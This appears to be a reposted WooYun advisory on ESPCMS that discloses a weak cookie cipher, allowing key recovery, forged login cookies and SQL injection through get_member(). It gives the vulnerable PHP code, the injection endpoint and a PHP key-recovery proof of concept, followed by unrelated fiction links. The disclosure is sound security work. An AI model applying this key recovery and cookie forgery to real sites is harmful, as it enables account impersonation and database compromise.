ESPCMS UTF8 正式版暴力注入

  1. 发布时间:2014-05-27
  2. 公开时间:2014-08-22
  3. 漏洞类型:sql注射
  4. 危害等级:高
  5. 漏洞编号:WooYun-2014-62528
  6. 测试版本:V5.8.14.03.03 UTF8

简要描述

弱加密算法的悲剧 伪造任意用户登录 注入 一系列问题


详细说明

/public/class_dbmysql.php行144

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
    $result = null;
    if ($operation == 'ENCODE') {
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) + ord($keychar)); //看到这应该懂了
            $result.=$char;
        }
        $result = base64_encode($result);
        $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
    } elseif ($operation == 'DECODE') {
        $data = str_replace(array('-', '_'), array('+', '/'), $string);
        $mod4 = strlen($data) % 4;
        if ($mod4) {
            $data .= substr('====', $mod4);
        }
        $string = base64_decode($data);
        for ($i = 0; $i < strlen($string); $i++) {
            $char = substr($string, $i, 1);
            $keychar = substr($key, ($i % strlen($key)) - 1, 1);
            $char = chr(ord($char) - ord($keychar));
            $result.=$char;
        }
    }
    return $result;
}

很明显用的维吉尼亚密码算法。
这个算法。。。key 原始文本 结果 3个值互相交换位置都可以运算
只要知道其中两个就能算出第三个,跟异或差不多。
来看看cookie的处理:
/interface/member.php 行109

$this->fun->setcookie('ecisp_member_username', $this->fun->eccode($memberread['username'], 'ENCODE', db_pscode));
$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

可以看到 ecisp_member_info这个cookie是由 userid alias integral mcid email等等等等组合起来的 这里先不看后面那么多 因为密钥生成的时候指定长度为20~40 前面这些已经足够我们发挥了
通过注册部分sql语句可以知道 integral默认为0 mcid默认为1 至于alias没有看到初始化的地方,反正这里进sql是null。所以ecisp_member_info的前面部分应该是
userid||0|1|email
密钥最长有40位,所以这里我们注册账号的时候填一个很长的email

27160419a34afc4bdb6863012f8bb77d91ea9850.jpg

注册完成之后去个人中心的个人资料修改页面查看源码 能找到userid
比如我的这个是3 好了 完整的前半部分cookie就是
3||0|1|22222222222222222222@**.**.**.**|
然后查看当前的cookie 记下ecisp_member_info值 丢进POC
27160847dbd461ce2ab445e6ea1fce71ee770412.jpg

得到这么一串东西
2ed61aee0bba9ff5fa59652ed61aee0bba9ff5
这里说明一下前面的加密算法

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

这里可以看到 key不是从第一位开始加密的 当i是0或者等于密钥长度的时候 `keychar = substr($key,-1,1)` 取的是最后一位 再来看刚才那串东西

2ed61aee0bba9ff5fa5965 2ed61aee0bba9ff5
这里我加了个空格 可以看到5965之后就开始重复了
第一位是最后一位(拗口)所以真正的密钥应该是 ed61aee0bba9ff5fa59652 查看一下配置文件验证 没错吧

2716140909e8bfa4e5191c68090cf7ca0a984b0a.jpg

拿到这个key之后 就可以随意自己构造合法的cookie了
可以利用的地方不少 我这里随便找了一个点
/interface/messmain.php 行43

function inajaxlist(){
……省略……
$ec_member_username = $this->member_cookieview('username');
if ($ec_member_username) {
    $reMem = $this->get_member($ec_member_username);
    $this->pagetemplate->assign('member', $reMem);
}

member_cookieview()取到username之后丢给了get_member()
先看member_cookieview()
/public/class_connector.php 行401

function member_cookieview($keyword = false) {
        $retrunstr = array();
        $retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
        $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
        list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;
        $retrunstr['userid'] = intval($retrunstr['userid']);
        $retrunstr['integral'] = intval($retrunstr['integral']);
        $retrunstr['mcid'] = intval($retrunstr['mcid']);
        return !$keyword ? $retrunstr : $retrunstr[$keyword];
    }

从cookie中取出之后直接return了 没过滤
再看get_member()
public/class_connector.php 行2141

function get_member($username = null, $userid = 0, $returnname = null) {
    $db_table = db_prefix . 'member';
    $db_where = empty($username) ? " WHERE userid=$userid" : " WHERE username='$username'"; //username直接进查询
    $db_sql = "SELECT * FROM $db_table $db_where";
    $rsLIST = $this->db->fetch_first($db_sql);
    if (!empty($returnname)) {
        return $rsLIST[$returnname];
    } else {
        return $rsLIST;
    }
}

总的流程大概就是 cookie->eccode解密->sql; 整流程就通了


漏洞证明

用获得的key来加密sql注入语句
这里就加了个单引号

271632181f9685b2a283ceeb849a1a91d92c2389.jpg

修改cookie ecisp_member_username值为生成的字符串
访问/index.php?ac=messmain&at=ajaxlist&did=1&ismess=1

27163404b4a4dc0a4aa98e30eb8d326670ab75b6.jpg

附上计算key的poc

$text = ""; //原文
$cookie = ""; //cookie
$dict = "0123456789abcdef";
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) { 
    for ($k=0; $k < 16; $k++) { 
        if( chr( ord($bincookie[$j]) - ord($dict[$k]) ) == $text[$j] )
        {
            echo $dict[$k];
        }
    }
}

修复方案

换个算法吧

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,837评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,551评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,417评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,448评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,524评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,554评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,569评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,316评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,766评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,077评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,240评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,912评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,560评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,176评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,425评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,114评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,114评论 2 352

推荐阅读更多精彩内容